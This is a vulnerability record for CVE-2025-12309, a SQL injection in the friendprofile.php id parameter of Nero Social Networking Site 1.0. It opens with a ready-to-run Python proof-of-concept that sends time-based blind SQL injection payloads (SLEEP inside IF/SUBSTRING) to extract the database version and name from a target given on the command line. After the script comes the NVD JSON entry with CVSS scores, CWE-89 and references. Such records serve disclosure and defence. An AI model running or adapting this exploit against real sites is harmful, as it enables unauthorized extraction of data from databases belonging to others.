CVE-2025-12309

import requests import sys # CVE-2025-12309 PoC - SQL Injection in Nero Social Networking Site 1.0 # Target: /friendprofile.php?id= parameter # This PoC demonstrates boolean-based blind SQL injection def exploit_sqli(target_url): """ Extract database version using boolean-based blind SQL injection """ print(f"[*] Targeting: {target_url}") print("[*] Testing SQL Injection vulnerability...") # Test payload - causes delay if vulnerable true_payload = f"{target_url}?id=1' AND SLEEP(5)-- -" false_payload = f"{target_url}?id=1' AND SLEEP(0)-- -" try: # Test true condition print("[*] Sending payload to verify vulnerability...") response = requests.get(true_payload, timeout=10) print(f"[+] Response status: {response.status_code}") # Boolean-based blind SQL injection to extract data print("[*] Extracting database version...") db_version = "" charset = 'abcdefghijklmnopqrstuvwxyz0123456789-.()_' for i in range(1, 50): found = False for char in charset: payload = f"{target_url}?id=1' AND IF(SUBSTRING(@@version,{i},1)='{char}',SLEEP(2),0)-- -" try: resp = requests.get(payload, timeout=5) if resp.elapsed.total_seconds() >= 2: db_version += char print(f"[+] Extracted character {i}: {char}") found = True break except: pass if not found: break print(f"[+] Database version: {db_version}") # Example: Extract current database print("[*] Extracting current database name...") db_name = "" for i in range(1, 30): found = False for char in charset: payload = f"{target_url}?id=1' AND IF(SUBSTRING(DATABASE(),{i},1)='{char}',SLEEP(2),0)-- -" try: resp = requests.get(payload, timeout=5) if resp.elapsed.total_seconds() >= 2: db_name += char found = True break except: pass if not found: break print(f"[+] Database name: {db_name}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-site.com/friendprofile.php" exploit_sqli(target)

{"cve": {"id": "CVE-2025-12309", "sourceIdentifier": "[email protected]", "published": "2025-10-27T19:16:02.507", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in code-projects Nero Social Networking Site 1.0. This affects an unknown part of the file /friendprofile.php. Executing manipulation of the argument ID can lead to sql injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:nero_social_networking_site:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "3244226F-EF03-4F27-9896-0A1C8EBAE4DA"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/daojian1/Nero-Social-Networking-Site-V1.0_002", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329981", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329981", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.676964", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}